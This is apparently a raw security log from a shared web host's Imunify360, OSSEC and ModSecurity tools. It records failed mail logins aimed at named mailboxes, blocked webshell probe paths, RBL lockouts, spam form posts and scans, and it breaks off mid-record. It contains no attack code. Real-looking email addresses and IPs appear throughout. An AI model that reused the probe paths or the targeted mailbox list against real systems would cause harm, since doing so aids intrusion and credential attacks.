IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:00-47.104.207.44.118||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:48:05 dovecot_login authenticator failed for H=(X4d5Z5) [165.154.254.166]:64404: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.254.166
country_id: 6252001
description:
2026-01-21 00:49:01 dovecot_login authenticator failed for H=(D8ZTOB) [165.154.254.166]:60345: 535 Incorrect authentication data


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 00:49:21 H=([45.144.212.242]) [45.144.212.242]:61502 F=<kamal@sunnyseafoodtrade.com> rejected RCPT <asttwu@astlog.com.my>: No Such User Here


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.196.63.170
country_id: 1269750
description:
2026-01-21 00:50:49 dovecot_login authenticator failed for H=(213.5.130.102) [146.196.63.170]:38270: 535 Incorrect authentication data (set_id=syazwani@sanicarehygiene.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 199.45.154.143
country_id: 6252001
description:
2026-01-21  0:50:30 439487 [Warning] Aborted connection 439487 to db: 'unconnected' user: 'unauthenticated' host: '199.45.154.143' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 00:50:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/cdn-cgi/l/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.168.72.14
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=957655 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.8
country_id: 1269750
description:
Jan 21 00:54:23 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.8 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/osl.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/photos/about.php||SC:/home/sutsbcom/public_html/img||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 91.208.197.41
country_id: 617790
domain: www.feliogroup.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X16; Linux x86_61) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/132.0.6834.110 Safari/737.36 WP.com mShots||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.180.16.104
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/lady/17/590/1746284 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 01:03:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.230
country_id: 298795
description:
Jan 21 01:04:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.230 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.186.219.56
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Penstock-Roller-Gate-Stoplog/M1207-F1A-PENSTOCK.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.147.252
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-foundation/Tests/HeaderBagTest.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 01:07:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.127.94.62
country_id: 798544
description:
Jan 21 01:08:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.127.94.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 123.58.126.93
country_id: 1814991
description:
2026-01-21 01:08:55 H=([123.58.126.93]) [123.58.126.93]:58308 F=<system@sent-via.netsuite.com> rejected RCPT <norasikin.vpb@vc-b.com.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.192.12.34
country_id: 3865483
description:
2026-01-21 01:08:12 dovecot_login authenticator failed for H=(185.180.223.155) [190.192.12.34]:42178: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.162.86.62
country_id: 1562822
domain: www.tptec.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.tptec.com.my/welding-machine.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.127.94.62
country_id: 798544
description:
Jan 21 01:09:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.127.94.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.165.241.54
country_id: 290557
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Penstock-Roller-Gate-Stoplog/M1207-F2A-PENSTOCK.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.87.2
country_id: 226074
description:
Jan 21 01:09:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.87.2 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.28.185.165
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?page=99 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.250
country_id: 2921044
description:
Jan 21 01:11:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 01:12:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.69.247.106
country_id: 3658394
description:
Jan 21 01:12:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.69.247.106 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 107.174.233.221
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:01-13.107.174.233.221||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jan 21 01:14:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.187.232.178
country_id: 3469034
description:
2026-01-21 01:15:32 H=([45.187.232.178]) [45.187.232.178]:10488 F=<teng@pftfood.com> rejected RCPT <teng@pftfood.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.120.176.6
country_id: 1835841
description:
Jan 21 01:15:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.120.176.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.176.6
country_id: 1835841
description:
2026-01-21 01:15:53 dovecot_login authenticator failed for H=([222.120.176.6]) [222.120.176.6]:47356: 535 Incorrect authentication data (set_id=william_althea@imax.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.187.232.178
country_id: 3469034
description:
2026-01-21 01:16:26 H=([45.187.232.178]) [45.187.232.178]:10834 F=<teng@pftfood.com> rejected RCPT <teng@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.187.232.178
country_id: 3469034
description:
2026-01-21 01:17:08 H=([45.187.232.178]) [45.187.232.178]:10930 F=<teng@pftfood.com> rejected RCPT <teng@pftfood.com>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.77
country_id: 2782113
description:
2026-01-21 01:17:18 dovecot_plain authenticator failed for H=(localhost) [156.146.60.77]:22271: 535 Incorrect authentication data (set_id=info@af-sb.com)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 205.169.39.55
country_id: 6252001
domain: www.indfinitydesign.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/127.0.6533.119 Safari/537.36||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.0.148.201
country_id: 1269750
description:
Jan 21 01:19:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.0.148.201 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.51.137.50
country_id: 1269750
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/take/17/143/1734782 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 115.135.29.178
country_id: 1733045
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=500196 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.77
country_id: 2782113
description:
2026-01-21 01:21:23 dovecot_plain authenticator failed for H=(localhost) [156.146.60.77]:9811: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.228.120.205
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/images/new6.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.180.162.89
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Penstock-Roller-Gate-Stoplog/M1258-TRASH-SCREEN-STOPLOG.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.78
country_id: 2782113
description:
2026-01-21 01:22:54 dovecot_login authenticator failed for H=(localhost) [156.146.60.78]:29516: 535 Incorrect authentication data (set_id=info@af-sb.com)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.106
country_id: 6252001
description:
Jan 21 01:23:49 sv3 pure-ftpd[2091802]: (?@147.185.132.106) [INFO] New connection from 147.185.132.106


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.202
country_id: 6252001
description:
Jan 21 01:24:46 sv3 pure-ftpd[2092171]: (?@198.235.24.202) [INFO] New connection from 198.235.24.202


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/img/photos/images/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.78
country_id: 2782113
description:
2026-01-21 01:24:41 dovecot_login authenticator failed for H=(localhost) [156.146.60.78]:57670: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.120.176.6
country_id: 1835841
description:
Jan 21 01:25:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.120.176.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.176.6
country_id: 1835841
description:
2026-01-21 01:25:57 dovecot_login authenticator failed for H=([222.120.176.6]) [222.120.176.6]:35822: 535 Incorrect authentication data (set_id=william_althea@imax.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 01:25:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.78
country_id: 2782113
description:
2026-01-21 01:25:19 dovecot_login authenticator failed for H=(localhost) [156.146.60.78]:60120: 535 Incorrect authentication data (set_id=info@af-sb.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.78
country_id: 2782113
description:
2026-01-21 01:27:08 dovecot_login authenticator failed for H=(localhost) [156.146.60.78]:2136: 535 Incorrect authentication data (set_id=info@af-sb.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.61.40.40
country_id: 1269750
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=535625 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.78
country_id: 2782113
description:
2026-01-21 01:28:57 dovecot_login authenticator failed for H=(localhost) [156.146.60.78]:3343: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 01:29:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.143
country_id: 2782113
description:
2026-01-21 01:29:49 dovecot_login authenticator failed for H=(localhost) [156.146.60.143]:42145: 535 Incorrect authentication data (set_id=info@af-sb.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 192.154.214.11
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:01-30.192.154.214.11||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.143
country_id: 2782113
description:
2026-01-21 01:31:35 dovecot_login authenticator failed for H=(localhost) [156.146.60.143]:60503: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.38
country_id: 6252001
description:
2026-01-21  1:31:38 441403 [Warning] Aborted connection 441403 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.38' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.232.192.181
country_id: 3932488
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-category.php?id=8&page_id=2&sub=12 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 162.142.125.47
country_id: 6252001
description:
Jan 21 01:31:16 sv3 pure-ftpd[2096506]: (?@162.142.125.47) [INFO] New connection from 162.142.125.47


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 191.96.117.166
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:01-32.191.96.117.166||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77142097
name: IM360 WAF: Track spam via contactform for WordPress
abuser: 155.212.242.37
country_id: 2510769
domain: pftfood.com
description:
IM360 WAF: Track spam via contactform for WordPress||RSV:7.64||T:APACHE||MVN:REQUEST_URI||MV:/wp-json/contact-form-7/v1/contact-forms/454/feedback||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 155.212.242.37
country_id: 2510769
domain: pftfood.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142097r77142192||MV:01-33.155.212.242.37||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 155.212.242.37
country_id: 2510769
domain: pftfood.com
description:
IM360 WAF: Track spam in PrestaShop||RSV:7.64||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-json/contact-form-7/v1/contact-forms/454/feedback||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 01:34:24 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.68
country_id: 2782113
description:
2026-01-21 01:34:47 dovecot_login authenticator failed for H=(user) [156.146.60.68]:49281: 535 Incorrect authentication data (set_id=info@af-sb.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.189.15.246
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=70371515746202 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.173.137.180
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/activity-details.php?id=655126 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.68
country_id: 2782113
description:
2026-01-21 01:36:41 dovecot_login authenticator failed for H=(user) [156.146.60.68]:15910: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.68
country_id: 2782113
description:
2026-01-21 01:39:19 dovecot_login authenticator failed for H=(user) [156.146.60.68]:14320: 535 Incorrect authentication data (set_id=info@af-sb.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-21 01:40:52 H=([45.144.212.242]) [45.144.212.242]:55232 F=<no_reply@admin.com> rejected RCPT <mustapa@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.67
country_id: 2782113
description:
2026-01-21 01:40:55 dovecot_login authenticator failed for H=(localhost) [156.146.60.67]:29896: 535 Incorrect authentication data (set_id=info@af-sb.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 120.229.119.183
country_id: 1814991
description:
2026-01-21 01:41:24 H=([120.229.119.183]) [120.229.119.183]:2765 F=<fasya@pftfood.com> rejected RCPT <fasya@pftfood.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.164
country_id: 3175395
description:
Jan 21 01:42:45 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.164 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.67
country_id: 2782113
description:
2026-01-21 01:42:55 dovecot_login authenticator failed for H=(localhost) [156.146.60.67]:16178: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 120.229.119.183
country_id: 1814991
description:
2026-01-21 01:42:20 H=([120.229.119.183]) [120.229.119.183]:2712 F=<fasya@pftfood.com> rejected RCPT <fasya@pftfood.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.164
country_id: 3175395
description:
Jan 21 01:42:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.164 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 120.229.119.183
country_id: 1814991
description:
2026-01-21 01:43:02 H=([120.229.119.183]) [120.229.119.183]:2809 F=<fasya@pftfood.com> rejected RCPT <fasya@pftfood.com>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.67
country_id: 2782113
description:
2026-01-21 01:43:37 dovecot_login authenticator failed for H=(localhost) [156.146.60.67]:45439: 535 Incorrect authentication data (set_id=info@af-sb.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.85
country_id: 2782113
description:
2026-01-21 01:44:55 dovecot_login authenticator failed for H=(localhost) [156.146.60.85]:54979: 535 Incorrect authentication data (set_id=info@af-sb.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.63.133.19
country_id: 3175395
description:
Jan 21 01:45:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.63.133.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.85
country_id: 2782113
description:
2026-01-21 01:46:35 dovecot_login authenticator failed for H=(localhost) [156.146.60.85]:27383: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.28.245.56
country_id: 1562822
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/productt.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 01:47:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.85
country_id: 2782113
description:
2026-01-21 01:47:12 dovecot_login authenticator failed for H=(localhost) [156.146.60.85]:34583: 535 Incorrect authentication data (set_id=info@af-sb.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.40
country_id: 2921044
description:
Jan 21 01:47:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.40 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.119.67.242
country_id: 6252001
description:
2026-01-21 01:48:04 dovecot_login authenticator failed for H=([127.0.0.1]) [172.119.67.242]:35588: 535 Incorrect authentication data (set_id=info@portofino.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.85
country_id: 2782113
description:
2026-01-21 01:48:58 dovecot_login authenticator failed for H=(localhost) [156.146.60.85]:14968: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.212.240.205
country_id: 1562822
description:
Jan 21 01:51:43 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.212.240.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.85
country_id: 2782113
description:
2026-01-21 01:51:25 dovecot_login authenticator failed for H=(localhost) [156.146.60.85]:24706: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.41
country_id: 2921044
description:
Jan 21 01:52:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.134
country_id: 2782113
description:
2026-01-21 01:55:00 dovecot_login authenticator failed for H=(localhost) [156.146.60.134]:51189: 535 Incorrect authentication data (set_id=info@af-sb.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 68.98.196.7
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/case/56/328062 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.244.109.33
country_id: 357994
description:
2026-01-21 01:56:03 H=([45.244.109.33]) [45.244.109.33]:12362 F=<teng@pftfood.com> rejected RCPT <teng@pftfood.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.161.55.17
country_id: 6252001
description:
Jan 21 01:56:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.161.55.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.249.51.120
country_id: 1036973
domain: oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/oxbold.com/paragliding-tnc.htm HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 41.201.242.82
country_id: 2589581
description:
2026-01-21 01:57:21 H=([41.201.242.82]) [41.201.242.82]:26323 F=<teng@pftfood.com> rejected RCPT <teng@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.244.109.33
country_id: 357994
description:
2026-01-21 01:57:32 H=([45.244.109.33]) [45.244.109.33]:12835 F=<teng@pftfood.com> rejected RCPT <teng@pftfood.com>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.146.60.134
country_id: 2782113
description:
2026-01-21 01:57:48 dovecot_login authenticator failed for H=(localhost) [156.146.60.134]:16121: 535 Incorrect authentication data (set_id=info@garudabay.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
